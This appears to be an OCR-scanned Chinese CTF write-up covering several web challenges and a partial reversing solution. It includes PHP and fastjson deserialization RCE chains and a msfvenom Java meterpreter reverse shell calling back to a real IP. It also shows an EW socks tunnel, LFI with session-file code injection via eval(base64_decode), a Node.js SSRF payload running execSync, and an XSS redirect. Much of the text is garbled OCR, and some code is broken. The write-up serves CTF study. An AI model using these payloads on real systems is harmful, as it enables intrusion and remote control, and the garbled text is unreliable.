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<?php

namespace Codeception\Extension{

use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __ construct(){
$this->processes| |=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');

}

echo base64_encode(serialize(new RunProcess()));

namespace Faker{

}
}
}

class DefaultGenerator
protected $default;
public function __construct($default = null)

{
$this->default = $default;

namespace GuzzleHttp\Psr7{

use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __ construct(){
$this->streams[ |=new CachingStream();

}

final class CachingStream{
private $remoteStream;
public function __ construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();

}

final class PumpStream{

private $source;

private $size=-10;

private $buffer;

public function _ construct(){
$this->buffer=new DefaultGenerator('j"');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');};
$a

$b = unserialize(%$a);

\Opis\Closure\serialize(%a);

$this->source=$b;
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flag{19fefeeb-989a-4017-8001-7af62b9e511b}

HE#fEjarm] ULk #shelli M O

2% https://blog.csdn.net/cainiao17441898/article/details/118877408

msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -fjar > rce111 jar
use exploit/multi/handler

set PAYLOAD java/meterpreter/reverse_tcp

set lhost 82.157.25.143

setlport 11112

run -j

Sl S BAE, MASIE00HIEHIR T

1B 2 submit

sessions

sessions id $i4T7E Zshel i bash-i 2>&1, Lf&E—ewk W % iE (https://github.com/idlefire/ew), chmod
msfijupload shell#4T

Jew -s rssocks -d 82.157.25.143 -e 18888

4 -sr s -d 82.157.25.143 -e 18888
./ew for linux64 -s rssocks -d 82.157.25.143 -e 18888

[root@VM-16-13-centos ~]# ./ew_for_linux6d -s rcsocks -1 11080 -e 1888

rcsocks 0.0.0.0:11080 <——[10000 usec]-——> 0.0.0.0:18388

init emd_server_for_rc here

start listen port here

--> (open)used/unused 1/999
(open)used/unused 2/998
(open)used/unused 3/997
(open)used/unused 4,/996
(open)used/unused 5/995
(open)used/unused 6/994
(open)used/unused 7/993
(open)used/unused 8/992
(open)used/unused 9/991
(open)used/unused 10/990
(open)used/unused 11/989
(open)used/unused 12/988
(open)used/unused 13/987
(open)used/unused 14/986
(open)used/unused 15/985
(open)used/unused 16/98U
(open)used/unused 17/983
(open)used/unused 18/982

rssocks _socket OK!
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Hi#ficB, &10.10.1.11:8080
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Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

&€ Load URL http://10.10.1.11:8080/doLogin

3 spiit URL

@Execute
Postdata [] Referer [] User Agent [] Cookies

username=admin&password=123456

01

Tk

Commit now! HackBar v2

Add Header

Clear All

P~ Esession

Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112

VERD AR B pom.xmif&k

com.alibaba
fastjson
1.2.24

de.alpharogroup
user.management
1.6.4

org.slfaj
s1f4j-logdji2

pringframe
ring-boot-

org.apache.shiro
shiro-web
1.4.8

hitp log.csdn.net/g

JRiH A5 fEfastjson,




Fepost admin/123456% i /doLogin
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Whitelabel Error Page

Encryption ~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~ Commit now! HackBar v2
This application has no explicit mapping for /error, so vou are seeing this as a
fallback. O Loaa URL hitp://10.10.1.11:8080/
Sun Aug 22 03:52:30 UTC 2021 & spit URL P
There was an unexpected error (type=Not Found, status=404).
No message available ® Execute

Postdata [J Referer [] User Agent [ Cookies Add Header Clear All

usemame=admin&password=123456

y

H 2 #https:/lgithub.com/safe6Sec/Fastjson #i&rceffpost

EREXTF2w

POST /admin/test HTTP/1.1

Host: 10.10.1.11:8080

Content-Type: application/json

cmd: cat /flag

Content-Length: 31124

Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p@.WrapperConnectionPoolDataSource"},"f": {"@type":"com.m
change.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString":"HexAsciiSerializedMap:ACEDO@05737200116
A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E617061636
8652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EES594829E7910940300014C0007666163746F7279740
02C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6
170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8F
F6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672FAF626A6563743B4C000B694D6574686F644E616D657400124
C6A6176612F6C616E672F537472696E673B5B00OB69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707
400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D1030002460
0OA6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E00OB3F40000000000
00C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E7
47261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C657
4496E6465785B00OA5F62797465636F6465737400035B5B425B00065F636C61737371007E00084CO0055F6E616D6571007E00074C00115F6
F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5
B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CDOA0014005
F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006
B0A0012006C08006DOBOOOCOOGEOB8006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B080
07C0A0018007D0O8007EO8007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008
BOAQOBCOO8DOACOBCOOBEQARD12008FOA009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6
176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612
F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C65745265717
56573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C6
96E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6
5010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612
F6C616E672FAF626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626
C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B0O10
008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C07007
2010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B0100057
3746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6
D6D6F6E4563686F312E6A6176610C003C003DOCO03800390C003A003BO100116A6176612F7574696C2F486173685365740C0034003507009
AQCPO9BOO9COCOO5300480C009DOV440COO9EQD440C004300440100256A617661782F736572766C65742F687474702FA48747470536572766
C6574526571756573740C009F00A00CO0A100A2010003636D640COOA300A401000B676574526573706F6E736501000F6A6176612F6C616E6
72F436C6173730C00A500A60100106A6176612F6C616E672FAF626A6563740700A70C00A800A90100266A617661782F736572766C65742F6
87474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616
E672F537472696E670100076F732E6E616D650700AA0CO0ABOOA40COOACOOADO1000357494EQCOO9DOOAED100022F630100072F62696E2F7
3680100022D630COOAFOOBRO100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60COOB700B80COO3CO
0B90100025C410C00BA0OBBOCOOBCOBADO700BDOCOOBEQOBFOCOOCO003DOCOOC100C20700990COAC300C40COAC500C60C00C700CB0COO3A0



0480100135B4CO6A61/76612F6CO616E6/2F4F626A6563/743BOCYOCIVOABOLI0OLE /9/36F/3657269616C2F/7061/796(6+61647/32F436F6DODOF6
E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656(C643B0100176A6176612F6C616E672F7265666C6563742F4
669656(640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5
468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733
B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436(6173733B295A010009676574486561646572010
026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284
C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4
D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A6176612F6C616E6
72F4AF626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C6
16E672F53797374656D01000B67657450726F706572747901000B746F55707065724361736501001428294C6A6176612F6C616E672F53747
2696E673B01001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000967657457726974657201001728294C6A61766
12F696F2F5072696E745772697465723B0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6
A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C6
16E672F50726F636573733B0100116A6176612F6C616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6
176612F696F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B295601000C75736544656C696
D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C2F5363616E6E65723B0100046E65787401001
36A6176612F696F2F5072696E745772697465720100077072696E746C6E010015284C6A6176612F6C616E672F537472696E673B295601000
5666(C7573680100116765744465636(617265644669656C647301001C28295B4C6A6176612F6C616E672F7265666C6563742F4669656(643
B01000D73657441636365737369626(65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A617
6612F6C616E672FAF626A6563743B0100076973417272617901000328295A01000D6765745375706572636C617373010040636F6D2F73756
E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C6
5740700CA0A00CBOO5F0021003300CB000000030008003400350001003600000002003700080038003900000008003A003B0000000400010
03C003D0001003E0000005C000200010000001E2AB700CCO01B3000201B30003BB000459B70005B30006B8000703B80008B100000002003F0
000001A0006000000140004001500080016000C001700160018001D001900400000000C00010000001EC04100420000000A0043004400010
03E0000005A000200010000001A2AC6000DB200062AB6000999000504ACB200062AB60OOA5703AC00000003003F0000001200040000001D0
©OOE001E001000210018002200400000000C00010000001A00450046000000470000000400020E01000A003A00480001003E000001D300050
003000000EF1B1034A3000FB20002C6000AB20003(C60004B12AB800OBIA0OD7B20002(C70051120C2AB6000DB60OOESS00452AC0000CB3000
2B20002120FB900100200C7000A01B30002A7002AB20002B6000D121103BD0012B60013B2000203BD0014B60015C00016B30003A700084D0
1B30002B20002(C60076B20003C6007006BD00184D1219B8001AB6001B121CB6001D99600162C03120F532C04121E53A7000D2C03121F532C0
41220532C05B20002120FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B60028B60029B6002AB20003B
900210100B6002BA700044DB12A1B0460B80008B100020047006600690017007AC0E200E500170003003F0000006A001A000000250012002
600130028001A0029002(C002A0033002B0040002C0047002F0066003300690031006A0032006E0037007A003A007FOO3BOO8F003C0094003
D0B9COO3FOOA1004000A6004200B3004400D7004500E2004700E5004600E6004800E7004BOOEEO04D00400000002A0004006A00040049004
AB002007F0063004B004(0002000000EF004D00460000000000EFOO4EQO4F0001004700000022000B1200336107005004FC002DO7005109F
FOO3E0002070052010001070050000006000A005300480001003E000001580002000C000000842AB6000DAD2CB6002C4E2DBE36040336051
5051504A200652D1505323A06190604B6002D013A0719062AB6002E3AB71907B6000DB6002F9A000C19071BB8OO30A7002F1907C00031C00
0313A081908BE360903360A150A1509A200161908150A323A0B190B1BB80G0O30840A01A7FFEOA700053A08840501A7FF9A2CB60032594DC7F
F85B100010027006F007200170003003F0000004200100000005000050052001E00530024005400270056002F0058003A00590043005B006
3005C0069005B006F00620072006100740052007A0065007B00660083006800400000003E00060063000600540046000B0027004D004D004
60007001E00560055005600060000008400570046000000000084004E0B4F00010005007F00580059000200470000002E0008FCO00507005
AFE©0GOBO7005B0101FD003107005C070052FE00110700310101F8001942070050F50001F800050001005D00000002005E707400016170770
100787400017878737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612
E6C616E672E4E756D62657286AC951DOB94E08B020000737000000000787871007E000D78; "},

"a":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
222223222322322232232223223222322322232232223222322322232232223223222322322232232223a23a223aa3aaaaaa3aaaaaaaaaaa
2222232223223222322322232232223223222322332232233223222322322232232223223222322322232232223a23aa23aa3aaa3aa3aaaa
222223222322322232232223223222322322232232223222322322232232223223222322322232232223a23a223a23aa23aa3aaa3aaaaaaa
2222232223223222322322232232223223222322322232222223222322322232232223223222322322232232223a23aa23aa3aaa3aa3aaaa
2222232223223222322322232232223223222322322232223223222322322232232223223222322322232232223a23aa23aa3aaa3aa3aaaa
222223222322322232232223223222322322232232223222322322232232223223222322322232232223223a223a23aa23aa3aaa3aa3aaaa
2222232222223222322322232232223223222322322232223223222322322232232223223222322322232232223a23aa23aa3aaa3aa3aaaa
2222232223223222322322232233223223222322332232223223222322322232232223223222322322232232223a23aa23aa3aaa3aa3aaaa
2222232223223222322322232232223223222322232232223223222322322232232223223222322322232232223aa3aaa3aa3aaa3aa3aaaa
EEEEEEEEEEEEEEEEEEEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEE EEE EE EE EEEEEEE EEEEEEE EE EEE EE EEEEEEE EEEEEEE EEEEEEE EEEEEEEEEEEEEE S
223223222322322232232223223222322322232233223222322322232232223223222322322232232223a232a33aa3aaa3aa3aaa3aaaaaaa
EEEEEEEEEEEEEEEEEEEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEEEEE EE EE EEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEE EEE EEEE EE EEEEE EEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEEEEEEEEEEEE S
EEEEEEEEEEEEEEEEEEEEEEEE EEEEEEE EEEEEEE EEEEEEE EE EE EEE EEEE EE EEE EE EEEEEEE EE EEE EE EEEEEEE EEEEEEE EEEEEEE EEEEEEEEEEEEEE S
EEEEEEEEEEEEEEEEEEEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEE EEE EE EE EE EEE EE EEEEEEE EE EEE EE EEEEEEE EEEEEEE EEEEEEE EEEEEEEEEEEEEE S
EEEEEEEEEEEEEEEEEEEEEEEE EEEEEEE EEEEEEE EEEEEEE EEEE EEE EEEE EE EEE EE EEEEEEE EEEEE EE EEEEEEE EEEEEEE EEEEEEE EEEEEEEEEEEEEE S



dddddddddddddddaddddddddddddddddddddddddddddddddadddddddddddddddddadddddddddddddddddadddddddddddddddadadaadadadadaaadadadaaaa
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddaddddddddddddddadaaadadadaaaadadaaaa
ddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddddddddddddddddddddadddddddddddddddadaaadadadaaadadadaadaa
dddddddddddddddddddddddddddddddaddddddddddddddddaddddddddddddddddddddddddddddddddddadadddddddddddddadadadadaddadadaadadadaaaa
dddddddddddddddadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddadadaadadadadadadadadaaaa
dddddddddddddddaddddddddddddddddaddddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddadadaadadadadaaadaadaaaa
ddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddddddddddddddddddddadddddddddddddddadadadadaddadadaaadaaaaa
dddddddddddddddddddddddddddddddadddddddddddddddddddddddddddddddddddddddddddddddddadadddddddddddddddadaadadaddadadaadadadaaaa
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddadadadadadadadaaaadaaaa
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddadadadadaddadadadadadadaaaa
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddadaadaaddadadadaaaadaaa
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AddAdAaadadadaddadddaaAAaAaadadaaaaaadadaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAdAAAAAAAAAAAddddddddAdAdAdAdddaadadddadadaddaaaaaaaaaaaaaaaa
AddAdAdadadadaddddddaaAaaadadadaaadadadadadddAAAAAAAAAAAAAAAAAAAAAAAAAAAAddAdAddAAAAAAAAAAddddddddAdAdAdadddadadadddadddddaaaaaaaaaaaaaaaa
AddAdadadaddddddddaaAaAaadadadaaadadadadadddaAAAAAAAAAdddddAdAdAAAAAAAAAAAdddAdddAdAAAAAAdAdAAdddddddddadadadaddadaddddadddddaaaaaaaaaaaaaaaa
ddAdadadaddddddddadaaaadadadadadadadadadddddAAaAaAadadaaadadddddddAdAAAAAAAAAdddddddAdAdAAAAAdAdAAddddddddddadadadddaaddddadddddaaaaaaaaaaaaaaaa
ddAdadadaddddddddaaaaadadadadadadadaddadddadAAAaAAdadaadadadddddddAdAAAAAAAAddddddddAdAdAdAdadddadaddddddddddadadadddadadaddddddddaaaaaaaaaaaaaaaa
ddAdadadaddddddddadaaaadadadadadadadddddddadAaaadadadadadadddddddddAdAaAdadadadadadddddddddadadadadaddadadadddddddddadadadadddaadaddddddddaaaaaaaaaaaaaaaa
ddAdadadaddddddddadaaaadadadadadadadadddddaddAaaadadadadaddddddddddaaadadddadaddddddddddaadadadddadaddddddddddaadadddaddaddddddddaaaaaaaaaaaaaaaa
ddAdadadddddddddadaAaaadadadadadadadaddddddadAaaadadadadadadddddddddadaadadddadaddddddddaddaadaddddadaddddddddddaadadddadadddddddddaaaaaaaaaaaaaaaa
ddAdadadddddddddadaaadadadadadadaddaddddddadAaaadadadadadadddddddddadaadadaddadaddddddddddadaddadddadaddddddddddadaddddadadddddddddaaaaaaaaaaaaaaaa
AddAdadadadddddddddaaadadadadadadddddddddadaadadadadadadddddddddddaaddddadaddddddddddadadddddadddddddddddaddddaddddddddddadaaaaadaaaaadadaaaa
ddAdadaddddddddddaaadadadadadaddddddddddaaddddadadddddddddddaddddadddddddddddddddddadddddddddddadddddaddddddddddadaaaaadadaaaadadaaaa
dddaddddddddddddadddaddaddddddddddadddddddddddddddddadddddddddddddddddddddddddddddddddadddddadddddddddddaadaaadaaaadaadaaaad
dddddddddddddddddddddddddddddddaddddddddddddddddddddddddddddddddddddddddddddddddddaddddadaddddddddddadaaaadadaaaadadadaaaa
ddddadddddddddddddddddddddddddddadddddddddddddddddaddddddddddddddddadddddddddddddddddaddddddddddddddddaaaaadadaaadadadadaaa
dddddddddddddddadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddadaaaaadadaaadaddaaaa
ddddddddddddddddddddadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddadadaaaadadaaadadadadaaa
ddddddddddddddddddaddddddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddadddddaddddddddddadadaadaadadaaadadadadaaa



dddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddddaddddddaddddddddddddddddaddaddddddddadaadaaadadaaadadadaaada
dddddddddddddddadddddddddddddddddddddddddddddddddddddddddddddddddadddddddddddddddddddaddddddddddddddaadaaaadaaaadadaadada

Adddaaddadadadadadddadadadadaddaadddadadaddaddadadddadaddaddddaadddaddaddddadddadddddddadddddaddaddddaaddddaddaddddaadddadddaaddadaadaaaadaaadaaaa

aaaaaaaaaaaaa”
}
O= = |-
Response 3
Raw Render \n Actions w =
W
1 HTTER/1.1 200 "
Z Date: sSun, 22 Aug Z0Z1 08:45:03 GMT H
3 Content-Length: 44 a
<
-
5 flag{
Sgbfcdal-e291-4136-84be-5hfdl19h94%9e2
1
[

flag{966fc4a2-e291-4136-84be-5bfd19b949e2}
3, AR

BEhttp://127.0.0.11% B JERD

< ?php
fu=$_GET["w' 1:

$pattern = WO vE]DL LW | load _file|outfile | dumpfile | sub |hex |where”

fpattern .= “|file_put_content|file_get_conmtent|fwrite|curl|system|eval|aszert”;

fpattern .="|passthrulexec|system|chroot|zcandir|chzrp|chown|shell_exec|proc_ 0pen|proc get_status|popen|ini_alter|ini_restore”;

$pattern .="|"|openlog|syzlog|readlink|symlink |popepassthru|strean_socket_server|assert|pontl_exec|http|.phpl. phl. log|%@]: 4% | £lag | access | error | stdout | stderr”;
fpattern .="|file|dict|gopher”;

ETE T s ER
fvpattern = explode(”|”, $pattern);
foreach($vpattern az $value] {
if (preg_match({ “/Pvalue/i", $u 1) {
echo "HMEBZE=HT"
exit (0);
1
include ($u) ;

show_source (__FILE__}:
T

u] LAisk 3 /etc/passwd

http://127.0.0.1/admin/include123.php?u=/etc/passwd

http://1 27 0.0.1/admin/include123.php?u=/etc/passwdfiiiroot:x:0:0root;/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:fusr/sbin/nologin bin:x:2:2:bin:/bin;/usr/sbin/nologin sysx:3:3:sys:/dev;/usr/sbin/nologin syncx:4:65534:sync:/bin:/bin/sync
60 =7 Tl pyfvar/spoolfipd:fusr/sbin/nologin mail:x:8:8:mail:/var/mail:fusr/sbin/nologin news:eG:9:news:fvar/speol/news:/usr/sbin/nologin

:10:uucpz/fvar/spool/uucps/usr/sbin/nologin proxy:x13:13:proxy./biny/usr/sbin/nologin www-datan:33:3 3mww-data:/var/wanw: fust/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List

fust/sbin/nologin ircc39:3%:ircd: fvar/mun/ircd:/usr/sbin/nologin gnats::41:41.Gnats Bug-Reporting System (admin):fvar/lib/gnats:/usr/sbin/nologin nobody:x:655 34:65534:nobody:/nonexistent:/usr/sbin/nalogin

_aptx:1 90:65 53d:/nonexistent:/usr/sbin/nologin <iprp

Fus$_GET["u' ]

L Fsession

http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1acab8c2b24f9d63bf77dba07

http,‘fl.?TOO 1/admin/include123.php?u=/tmp/sess_ef8116c1acas8c2b24f9d63bi77dba07 F%Ever|s:0: " userl [s:5:"admin™;url1]s:0:*;htmi1[s:1:"v"url2|s:82:"http://127.0.0.1/admin/include123.php?u=AAmp/sess_ef8116c1aca58c2b24f9d63bf77dba07™;
;u ; GET[w')
fpattern = WA NN A [1oad filefoutfile| dunpfile| sub|hex |[vhere”

http://127.0.0.1/admin/include 123.php?u=/etc/passwd#<?php eval(base64 decode('c3lzdGVtKCcvZ2V0ZmxhZy5zaCcpOw=="));?
SETNHL ] LS Blsession B T

R#HEREEE KN —WEARS, ANEUH, BRRXAN G, ExXEH/E, BN E%E K phpsessioni il — T BIH]

Is/K I T /getflag.sh (K it T flag, base— 41T



http://127.0.0.1/admin/include23.php?u=/tmpy/sess_ef81foclaca58c2b24f9d63bf77dba07#uffitiver|s:0:"";user1|s:5:"admin®;url1[s:0:**;html1]s:1:"v";url2|s:140:"http://127.0.0.1/admin/include123.php?

u=/tmp/sess_ef8116c1aca58c2b24fad63bf77dbal7#u
Warning: Use of undefined constant php - assumed "php’ (this will throw an Error in a future version of PHP) in /tmp/sess_ef81f6c1aca58c2b24f9d63bf77dba07 on line 1

flag{c2¢15ff3-0341-49f0-9997-36b107b9cf3a}
Parse error: syntax error, unexpected '{" in /tmp/sess_ef81f6claca58c2b24f9d63bf77dba07(1) : eval()'d code on line 1

flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}

**4, **crawler_z

B —RIIEM Byenanlyenan, I E profile 5 W £2url i Ptoken1
2 —Radmin/admin, H¥ssrffhi&/user/verify?token=token1

Crawler Home Profile Logout

Username
admin )
Age
ichungiu
Age
20
Bucket
/
Update
Successfully update your bucket from personal bucket!
A LA$5 5E e HX
vpsJE 31— http
Python -m SimpleHTTPServer 11111
SR V5 1A http://82.157.39.20:11111/escape.htmlffoss-cn-beijing.ichungiu.com
&« C A T2 | eci-2zedwxo32t26gnkhopgv.cloudecil.ichungiu.com:8888/user/bucket B o O 4
L blog BB ProcessOn VDSO_wlp6OOsD.., awd qwbi®E  IE cnki pwnE G SEMES - powe.. I aliyun xmandill @ Remssess,. @ me Ml ENEE @ HiEdt

{“htmd " : "<html ><head></head><body>tzz yydsin</body></html>”, "headers”: ["sexrver”: ["SimpleHTTR/0. 6 Python/2.7.5"], "date”:["Sat, 21 kug 2021 17:45:12 GUT"], "content-type”: [“application/javascript”], “content-length”: ["9"], "1:
[“Sat, 21 Aug 2021 17:13:35 GUT"1], "cockies™: [1]

AT, EEAEsivmiki® documentwritt EEENMIEE S, &£ T

<script>
document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('chil

d_process').execSync('/readflag').toString());
</script>



[root@VM-16-2-centos ssrfl# cat > exp.html << EOF

> <script>

> document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process"').execSync('/
readflag').toString());

= </script>

> EOF

root@mM-16-2-centos ssrfl# python -m SimpleHTTPServer 11111

Serving HTTP on port 11111 .

0.105.23.123 - - [22/Aua/2021 09:38:08] "GET /exp. html HTTP/1.1" 200 -

("ntmd " : " {html ><head> Cscript>\ndocument, wri te (this. constr uctor, constructor. constructer. constructor ('return process’) (). mainMlodule. require (" child g rocess "), execSync(’ /readflag’ ). toStrin 5(]‘ \n ¢/scriptiilag [£0425beb-2ed6-4722-2879
91952583§ca1] \n<, *head)(bud/)(fbudy)( html>”, “headers”: {“server”: ["SimpleHTTP/0. 6 Python/2. 7.57], “date”:["Sun, 22 Aug 2021 01:38:08 GUT”], “content=type”:[" texu’mml "1, "content=length”: ["183"], "last-modified”:["Sun, 22 Aug 2021 01:23:26
GHT"]}, “cookies”: [1}

flag{f0425be6-3e46-472a-8879-e19525839caf}

5. Secrets_Of Admin

EiEE

admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

% Wi

jsHIBA S, XERISEEENTREAIIEN T, FchecksumAcrhyyds, #&3postifEurlgmid T

content[]=%3Cscript%3Elocation.href%3D %22http%3A%2F %2F 127.0.0.1%3A8888%2F api%2Ffiles%3Fusername%3Dadmin%
26filename%3D...%2Ffiles%2Fflag%26checksum%3Dcrhyyds%22%3B %3C %2F script%3E

R 3flagly: flag{65453076-effe-48dc-98d5-d0d235f766f8}
reverse

**1. *Rev_APC

A i dIMRAS

HET sha3-256, {HRJEMHIHEM L.

%012 48 7EdII0x1800015COK HiH, HsysH Fifh 77 ilfE .

. dlifJ0x1800015CO% £+ ¥ A T NtRequestWaitReplyPort, X/ sysH 7F NtReplyWaitReceivePortif $ 1 51 0. sysEIE
AL I EHE ) BB $0x14000298C, HiEHBITFEE.

2. diIH i DevicelOControl, Xt RisysH i) i #°50x140003660.

JEHMREEIET .
exp:

from zio import *
def funé6(a, b
for i in range(32

c = ali

if (c >=33) & (c <= 79
al[i] = (c - 80) & oxff
b = (b[i]+a[i])&Oxff
>= 81) & (c <= 127
= C - 48

i
i

elif (c

i

i] ~= (a[i] >> 4

d

i

i

b

c o

elif

return a



def defuné6(a, b):
for i in range(32):
c = ali]
if (¢ >= 33) & (c <= 79):
ali] (c - 80) & oxff
b[i] (b[i]-a[i])&exff
elif (c >= 81) & (c <= 127):
al[i] = c - 48
b[i] ~= (a[i] >> 4)
elif (c > 128):
al[i] = c - 48
b[i] = (b[i]+a[i])&oxff
return a, b

def fun5(a, b):
for i in range(32):
b[i] ~= a[i]
return a, b

def fun4(a, b):
for i in range(32):
a[i] = (a[i] - 80) & oxff
for i in range(16):
b[2 * i] ~= (16 * a[2 * i]) & Oxff
b[2 * i + 1] ~= ((a[2 * 1]) >> 4) & oxf
return a, b

def fun3(a, b):
for i in range(32):
b[i] ~= a[i]
return a, b

def fun2(a, b):
for i in range(32):
ali] = (a[i] - 80) & oxff
b[i] ~= ((a[i]>>4)&exf) | ((a[i]<<4)&exf0)
return a, b

def funl(a, b):
for i in range(32):
al[i] = (a[i]+16)&exff
b[i] ~= a[i]
return a, b

def enc():

b = [ord(c) for c in 'flag{12345678901234567890123456}" ]

#b = [91, 36, 164, 45, 64, 21, 144, 29, 194, 5, 189, 39, 240, 29, 80, 137, 178, 73, 216, 105, 177, 245, 80,
59, 99, 154, 94, 170, 79, 175, 153, 126]

a3 '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0el774e3b7389e5 "' .decode( 'hex")
a2 = [@xA5, OXCF, OxCD, @xD6, OxC5, OxC3, OxBl, OxC5, ©xD2, ©xD9, OxD7, OxC7, OxD6, OxCD, OxD4, OxD8, OxC3,
OxBB, OxCD, 0xD8, OxCC, OxC3, OxBO, OxC5, OxD8, OxC9, OxDC]
a4 = []
for i in range(32):
a4.append(ord(a3[i])”a2[i%len(a2)])

a=[]
